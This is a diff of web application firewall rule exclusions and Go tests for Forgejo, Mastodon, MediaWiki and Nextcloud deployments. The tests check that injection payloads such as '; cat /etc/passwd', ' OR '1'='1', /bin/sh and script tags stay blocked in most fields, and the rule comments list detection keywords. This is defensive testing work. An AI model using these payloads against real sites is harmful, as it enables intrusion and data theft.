# The API's search of a job's log sends the text searched for in q, which
# skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME \
"@rx ^/api/v1/repos/[^/]+/[^/]+/actions/jobs/[0-9]+/logs$" \
"id:900683,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
+6 -43
View File
@@ -6,18 +6,13 @@ import (
"testing" "testing"
) )
// forgejoSearches are Forgejo's searches whose q skips some rules: those of // forgejoSearches are Forgejo's searches whose q skips some rules: the
// a wiki, of releases and of a job's log, from the fifteenth change, and the // wiki's, from the fifteenth change, and the searches for a name, from the
// searches for a name, from the eighth. The search of code at a branch or tag // eighth.
// is not one of them: there, as on gitea's search of code, q lets these
// attacks through.
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var forgejoSearches = []string{ var forgejoSearches = []string{
"/alice/tools/wiki/search", "/alice/tools/wiki/search",
"/alice/tools/releases",
"/api/v1/repos/alice/tools/releases",
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
"/explore/repos", "/explore/repos",
"/explore/users", "/explore/users",
"/alice/tools/branches", "/alice/tools/branches",
@@ -63,33 +58,16 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
crs := atDefaults(t) crs := atDefaults(t)
// /bin/sh and the hard values, which q lets through on the searches of // /bin/sh and the hard values, which q lets through on the wiki's
// the fifteenth change and on those of branches and packages, stay // search, stay refused in q on paths near it and in another field on it.
// refused in q on paths near them and in another field on them.
// /alice/wiki/search would be the code search of a repository named // /alice/wiki/search would be the code search of a repository named
// wiki, where the eighth change lets q through. Forgejo has no owner // wiki, where the eighth change lets q through. Forgejo has no owner
// named api, so the paths under /api/ here are not searches. // named api, so /api/wiki/search is not one.
for _, target := range []string{ for _, target := range []string{
"/alice/tools/wiki/Home?q=", "/alice/tools/wiki/Home?q=",
"/alice/tools/wiki/search/x?q=", "/alice/tools/wiki/search/x?q=",
"/api/wiki/search?q=", "/api/wiki/search?q=",
"/alice/tools/wiki/search?other=", "/alice/tools/wiki/search?other=",
"/alice/tools/search/branch?q=",
"/alice/tools/search/commit/0123abc?q=",
"/alice/tools/src/branch/main?q=",
"/api/tools/search/branch/main?q=",
"/alice/tools/search/branch/main?other=",
"/alice/tools/releases/tag/v1.0?q=",
"/alice/tools/releases/latest?q=",
"/api/v1/releases?q=",
"/alice/tools/releases?other=",
"/api/v1/repos/alice/tools/actions/jobs/1?q=",
"/api/v1/repos/alice/tools/actions/runs/1/logs?q=",
"/alice/tools/actions/runs/1/jobs/0/logs?q=",
"/api/v1/repos/alice/tools/actions/jobs/1/logs?other=",
"/alice/tools/branches/x?q=",
"/alice/-/packages/npm/x?q=",
"/alice/tools/branches?other=",
} { } {
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) { for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold { if got := inspect(t, crs, get(target+value)); got.Score < threshold {
@@ -97,19 +75,4 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
} }
} }
} }
// Referer keeps its rules on a page opened from a path near the code
// search at a branch or tag.
for _, path := range []string{
"/alice/tools/search/branch",
"/alice/tools/search/commit/0123abc",
"/api/tools/search/branch/main",
} {
for _, attack := range []string{scriptTag, injection} {
referer := "Referer: http://example.com" + path + "?q=" + attack
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
t.Errorf("%s let through: %+v", referer, got)
}
}
}
} }
-7
View File
@@ -115,13 +115,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
ctl:ruleRemoveTargetById=932260;ARGS:q,\ ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q" ctl:ruleRemoveTargetById=944130;ARGS:q"
# A branch or package name can hold a slash, as feat/docker-support and npm's
# @scope/name do. So q on a repository's branches page and on an owner's
# packages page also skips this rule:
# 932160: /bin/sh
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/-/packages|[^/]+/[^/]+/branches)$" \
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
# gitea's other searches for a name send it in q too, which skips only these # gitea's other searches for a name send it in q too, which skips only these
# rules there: # rules there:
# 930120: .profile # 930120: .profile
+27 -131
View File
@@ -106,58 +106,26 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="}, {http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="}, {http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment}, {http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
{ {http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
http.MethodPost, {http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
"/admin/domain_blocks",
"domain_block[private_comment]=",
},
{
http.MethodPost,
"/admin/domain_blocks",
"domain_block[public_comment]=",
},
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="}, {http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
{http.MethodPost, mastodonRules, "rule[text]="}, {http.MethodPost, mastodonRules, "rule[text]="},
{http.MethodPost, mastodonRules, "rule[hint]="}, {http.MethodPost, mastodonRules, "rule[hint]="},
{http.MethodPost, "/admin/announcements", "announcement[text]="}, {http.MethodPost, "/admin/announcements", "announcement[text]="},
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="}, {http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
{ {http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
http.MethodPost,
mastodonBranding,
"form_admin_settings[site_short_description]=",
},
{ {
http.MethodPost, "/admin/settings/about", http.MethodPost, "/admin/settings/about",
"form_admin_settings[site_extended_description]=", "form_admin_settings[site_extended_description]=",
}, },
{http.MethodPost, "/filters", "custom_filter[title]="}, {http.MethodPost, "/filters", "custom_filter[title]="},
{ {http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
http.MethodPost, {http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
"/filters", {http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
"custom_filter[keywords_attributes][0][keyword]=",
},
{
http.MethodPost,
"/settings/applications",
"doorkeeper_application[name]=",
},
{
http.MethodPost,
"/settings/applications",
"doorkeeper_application[website]=",
},
{http.MethodPost, "/settings/aliases", "account_alias[acct]="}, {http.MethodPost, "/settings/aliases", "account_alias[acct]="},
{http.MethodPost, "/settings/migration", "account_migration[acct]="}, {http.MethodPost, "/settings/migration", "account_migration[acct]="},
{ {http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
http.MethodPost, {http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
mastodonAccount,
"user[invite_request_attributes][text]=",
},
{
http.MethodPost,
"/admin/accounts/1/action",
"admin_account_action[text]=",
},
{http.MethodPost, "/admin/report_notes", "report_note[content]="}, {http.MethodPost, "/admin/report_notes", "report_note[content]="},
{ {
http.MethodPost, "/admin/account_moderation_notes", http.MethodPost, "/admin/account_moderation_notes",
@@ -181,20 +149,12 @@ var mastodonPasswordForms = []mastodonBodyField{
{http.MethodPost, mastodonAccount, mastodonPassword}, {http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="}, {http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="}, {http.MethodPost, mastodonAccount, "user[current_password]="},
{ {http.MethodPost, "/settings/migration", "account_migration[current_password]="},
http.MethodPost,
"/settings/migration",
"account_migration[current_password]=",
},
{ {
http.MethodPost, "/settings/migration/redirect", http.MethodPost, "/settings/migration/redirect",
"form_redirect[current_password]=", "form_redirect[current_password]=",
}, },
{ {http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
http.MethodPost,
"/settings/delete",
"form_delete_confirmation[password]=",
},
{http.MethodPost, mastodonSignUp, passwordField}, {http.MethodPost, mastodonSignUp, passwordField},
} }
@@ -221,28 +181,12 @@ var mastodonJSONFields = []mastodonBodyField{
}, },
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`}, {http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
{http.MethodPatch, mastodonEditor, `{"note":%s}`}, {http.MethodPatch, mastodonEditor, `{"note":%s}`},
{ {http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
http.MethodPatch, {http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
mastodonEditor,
`{"fields_attributes":[{"name":%s}]}`,
},
{
http.MethodPatch,
mastodonEditor,
`{"fields_attributes":[{"value":%s}]}`,
},
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`}, {http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
{http.MethodPatch, mastodonProfile, `{"note":%s}`}, {http.MethodPatch, mastodonProfile, `{"note":%s}`},
{ {http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
http.MethodPatch, {http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
mastodonProfile,
`{"fields_attributes":[{"name":%s}]}`,
},
{
http.MethodPatch,
mastodonProfile,
`{"fields_attributes":[{"value":%s}]}`,
},
{http.MethodPost, mastodonReports, `{"comment":%s}`}, {http.MethodPost, mastodonReports, `{"comment":%s}`},
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`}, {http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
{http.MethodPost, mastodonSignUp, `{"reason":%s}`}, {http.MethodPost, mastodonSignUp, `{"reason":%s}`},
@@ -251,16 +195,8 @@ var mastodonJSONFields = []mastodonBodyField{
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`}, {http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`}, {http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`}, {http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
{ {http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
http.MethodPost, {http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
mastodonInbox,
`{"object":{"attachment":[{"name":%s}]}}`,
},
{
http.MethodPost,
mastodonInbox,
`{"object":{"attachment":[{"value":%s}]}}`,
},
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`}, {http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`}, {http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
} }
@@ -303,12 +239,7 @@ func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
} }
r := request{sent.method, sent.target, []string{jsonBody}} r := request{sent.method, sent.target, []string{jsonBody}}
got, _ := inspectBody( got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
t,
readingBodies(t),
r,
fmt.Sprintf(sent.field, quoted),
)
return got.Score return got.Score
} }
@@ -339,11 +270,7 @@ func mastodonScores(
} }
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) { for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm( scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
t,
sent,
value,
)
} }
unescaped, err := url.QueryUnescape(value) unescaped, err := url.QueryUnescape(value)
@@ -352,11 +279,7 @@ func mastodonScores(
} }
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) { for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON( scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
t,
sent,
unescaped,
)
} }
return scores return scores
@@ -393,11 +316,8 @@ func TestMastodonPasswordsPass(t *testing.T) {
t.Run("JSON", func(t *testing.T) { t.Run("JSON", func(t *testing.T) {
t.Parallel() t.Parallel()
r := request{ r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
mastodonPasswordJSON.method, []string{jsonBody}}
mastodonPasswordJSON.target,
[]string{jsonBody},
}
wantRandomPasswordsPass(t, r, "password") wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password") wantPasswordAttacksPass(t, r, "password")
@@ -412,16 +332,8 @@ func TestMastodonPasswordConfirmationPasses(t *testing.T) {
wantPasswordFieldsPass(t, []passwordFields{ wantPasswordFieldsPass(t, []passwordFields{
{"/auth/challenge", formData, challenge}, {"/auth/challenge", formData, challenge},
{ {"/settings/two_factor_authentication/otp_authentication", formData, challenge},
"/settings/two_factor_authentication/otp_authentication", {"/settings/two_factor_authentication_methods/disable", formData, challenge},
formData,
challenge,
},
{
"/settings/two_factor_authentication_methods/disable",
formData,
challenge,
},
}) })
} }
@@ -596,11 +508,7 @@ func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
{mastodonReport, "false"}, {mastodonReport, "false"},
{mastodonForwardedReport, "remote.example"}, {mastodonForwardedReport, "remote.example"},
} { } {
report := mastodonBodyField{ report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
http.MethodPost,
mastodonReports,
sent.body,
}
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold { if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
t.Errorf("%v refused: %d", report, got) t.Errorf("%v refused: %d", report, got)
} }
@@ -664,20 +572,12 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
} }
// Elsewhere both keep the two rules. // Elsewhere both keep the two rules.
signIn := mastodonBodyField{ signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
http.MethodPost,
mastodonSignIn,
mastodonUsername.field,
}
if mastodonForm(t, signIn, "python3") < mastodonThreshold { if mastodonForm(t, signIn, "python3") < mastodonThreshold {
t.Errorf("%v let through", signIn) t.Errorf("%v let through", signIn)
} }
statuses := mastodonBodyField{ statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
http.MethodPost,
mastodonStatuses,
mastodonHashtag.field,
}
if mastodonJSON(t, statuses, "python3") < mastodonThreshold { if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
t.Errorf("%v let through", statuses) t.Errorf("%v let through", statuses)
} }
@@ -717,11 +617,7 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
// Elsewhere the address keeps every rule. // Elsewhere the address keeps every rule.
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} { for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail} sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
if mastodonForm( if mastodonForm(t, sent, "python3%40example.com") < mastodonThreshold {
t,
sent,
"python3%40example.com",
) < mastodonThreshold {
t.Errorf("%v let through", sent) t.Errorf("%v let through", sent)
} }
} }
+13 -69
View File
@@ -221,13 +221,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+attack) got, _ := inspectBody(t, crs, r, sent.field+attack)
if got.Score < mediawikiThreshold { if got.Score < mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
"POST %s %s%s let through: %+v",
sent.target,
sent.field,
attack,
got,
)
} }
} }
} }
@@ -237,11 +231,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
scriptTag, scriptTag,
} { } {
for _, field := range []string{"source", "comment"} { for _, field := range []string{"source", "comment"} {
r := request{ r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
http.MethodPut,
mediawikiRESTPage,
[]string{jsonBody},
}
body := `{"` + field + `":"` + attack + `"}` body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -280,31 +270,15 @@ func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype}, {"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
{mediawikiSignIn + "&" + loginContinue, formData, retype}, {mediawikiSignIn + "&" + loginContinue, formData, retype},
{mediawikiAccountChange + "?" + changeAction, formData, change}, {mediawikiAccountChange + "?" + changeAction, formData, change},
{ {mediawikiAccountChange + subpage + "?" + changeAction, formData, change},
mediawikiAccountChange + subpage + "?" + changeAction, {"/index.php/Special:ChangeCredentials?" + changeAction, formData, change},
formData,
change,
},
{
"/index.php/Special:ChangeCredentials?" + changeAction,
formData,
change,
},
{ {
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction, "/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
formData, change, formData, change,
}, },
{ {"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change},
"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
formData,
change,
},
// A German wiki's names for the same pages. // A German wiki's names for the same pages.
{ {"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype},
"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
formData,
retype,
},
{ {
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue, "/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
formData, retype, formData, retype,
@@ -345,12 +319,7 @@ func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
body := formBody(sent.name, "' OR '1'='1") body := formBody(sent.name, "' OR '1'='1")
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold { if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
"POST %s %s let through: %+v",
sent.target,
sent.name,
got,
)
} }
} }
} }
@@ -381,9 +350,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
crs := atDefaults(t) crs := atDefaults(t)
targets := append( targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
[]string{"/load.php?modules="},
mediawikiQueryFields...)
for _, target := range targets { for _, target := range targets {
got := inspect(t, crs, get(target+mediawikiCommandAttack)) got := inspect(t, crs, get(target+mediawikiCommandAttack))
@@ -400,12 +367,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack) got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
if got.Score < mediawikiThreshold { if got.Score < mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
"POST %s %s let through: %+v",
sent.target,
sent.field,
got,
)
} }
} }
@@ -420,11 +382,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it // wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
// holds no ";", "|", "&", backtick or "{", and only when the body sends // holds no ";", "|", "&", backtick or "{", and only when the body sends
// it once. // it once.
r = request{ r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
for _, attack := range []string{ for _, attack := range []string{
mediawikiCommandAttack, mediawikiCommandAttack,
@@ -470,13 +428,7 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+value) got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= mediawikiThreshold { if got.Score >= mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
"POST %s %s%s refused: %+v",
sent.target,
sent.field,
value,
got,
)
} }
} }
@@ -492,11 +444,7 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
} }
// A watchlist holds the title on its second line, as recorded. // A watchlist holds the title on its second line, as recorded.
r := request{ r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes" body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold { if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
@@ -569,11 +517,7 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"}, {"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
{mediawikiAPI + "?action=edit", "text=python3"}, {mediawikiAPI + "?action=edit", "text=python3"},
} { } {
r := request{ r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
http.MethodPost,
sent.target + "&" + sent.field,
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field) got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < mediawikiThreshold { if got.Score < mediawikiThreshold {
+27 -154
View File
@@ -107,12 +107,7 @@ var nextcloudBodies = []nextcloudBody{
http.MethodPut, nextcloudUsers + "/admin", http.MethodPut, nextcloudUsers + "/admin",
jsonBody, `{"key":"headline","value":"%s"}`, jsonBody, `{"key":"headline","value":"%s"}`,
}, },
{ {http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
http.MethodPost,
"/ocs/v2.php/cloud/groups",
jsonBody,
`{"groupid":"%s"}`,
},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`}, {http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`}, {http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`}, {http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
@@ -120,42 +115,17 @@ var nextcloudBodies = []nextcloudBody{
http.MethodPost, "/apps/theming/ajax/updateStylesheet", http.MethodPost, "/apps/theming/ajax/updateStylesheet",
jsonBody, `{"setting":"slogan","value":"%s"}`, jsonBody, `{"setting":"slogan","value":"%s"}`,
}, },
{ {http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
http.MethodPost, {http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
nextcloudSave,
jsonBody,
`{"filePath":"/%s/Readme.md"}`,
},
{
http.MethodPost,
"/remote.php/dav/systemtags/",
jsonBody,
`{"name":"%s"}`,
},
{ {
nextcloudSearch, "/remote.php/dav/", xmlBody, nextcloudSearch, "/remote.php/dav/", xmlBody,
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` + `<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` + `<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
`</d:like></d:where></d:basicsearch></d:searchrequest>`, `</d:like></d:where></d:basicsearch></d:searchrequest>`,
}, },
{ {nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
nextcloudMkcol, {nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
nextcloudCalendars + "work", {nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
xmlBody,
nextcloudNewCollection,
},
{
nextcloudMkcol,
nextcloudAddressBooks + "team",
xmlBody,
nextcloudNewCollection,
},
{
nextcloudMkcalendar,
nextcloudCalendars + "work/",
xmlBody,
nextcloudNewCalendar,
},
} }
// The WebDAV methods that make a calendar or an address book. // The WebDAV methods that make a calendar or an address book.
@@ -217,12 +187,7 @@ var nextcloudDocument = nextcloudBody{
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var nextcloudTexts = []nextcloudBody{ var nextcloudTexts = []nextcloudBody{
nextcloudDocument, nextcloudDocument,
{ {http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
http.MethodPost,
"/remote.php/dav/comments/files/1",
jsonBody,
`{"message":"%s"}`,
},
{ {
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody, nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` + `<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
@@ -230,12 +195,7 @@ var nextcloudTexts = []nextcloudBody{
`</d:propertyupdate>`, `</d:propertyupdate>`,
}, },
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`}, {http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
{ {http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
http.MethodPost,
nextcloudShares,
jsonBody,
`{"path":"/Notes","note":"%s"}`,
},
{ {
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1", http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
formData, "note=%s", formData, "note=%s",
@@ -263,10 +223,7 @@ const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
// nextcloudBodyScore returns the request that sends value, which is not // nextcloudBodyScore returns the request that sends value, which is not
// escaped, in sent's body, and the score crs gives it. // escaped, in sent's body, and the score crs gives it.
func nextcloudBodyScore( func nextcloudBodyScore(
t *testing.T, t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
crs *coreruleset.CoreRuleSet,
sent nextcloudBody,
value string,
) (string, int) { ) (string, int) {
t.Helper() t.Helper()
@@ -301,11 +258,7 @@ func nextcloudFieldScores(t *testing.T, value string) map[string]int {
scores := map[string]int{} scores := map[string]int{}
for _, target := range nextcloudQueryFields { for _, target := range nextcloudQueryFields {
scores["GET "+target+value] = inspect( scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
t,
crs,
get(target+value),
).Score
} }
for _, sent := range nextcloudFormFields { for _, sent := range nextcloudFormFields {
@@ -397,23 +350,11 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
{"/apps/user_ldap/renewpassword", formData, change}, {"/apps/user_ldap/renewpassword", formData, change},
{"/index.php/apps/user_ldap/renewpassword", formData, change}, {"/index.php/apps/user_ldap/renewpassword", formData, change},
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change}, {"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
{ {"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
"/index.php/apps/encryption/ajax/updatePrivateKeyPassword",
formData,
change,
},
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery}, {"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
{ {"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
"/index.php/apps/encryption/ajax/changeRecoveryPassword",
formData,
recovery,
},
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery}, {"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
{ {"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
"/index.php/apps/encryption/ajax/adminRecovery",
formData,
adminRecovery,
},
{"/login/confirm", jsonBody, password}, {"/login/confirm", jsonBody, password},
{"/index.php/login/confirm", formData, password}, {"/index.php/login/confirm", formData, password},
{"/lostpassword/set/AbCdEf/alice", jsonBody, password}, {"/lostpassword/set/AbCdEf/alice", jsonBody, password},
@@ -468,12 +409,7 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
{jsonRequest, jsonPassword("; cat /etc/passwd")}, {jsonRequest, jsonPassword("; cat /etc/passwd")},
} { } {
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold { if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
t.Errorf( t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
"%s %.40s refused: %+v",
sent.r.headers[0],
sent.body,
got,
)
} }
} }
@@ -488,12 +424,7 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`}, {jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
} { } {
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold { if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
t.Errorf( t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
"%s %.40s let through: %+v",
sent.r.headers[0],
sent.body,
got,
)
} }
} }
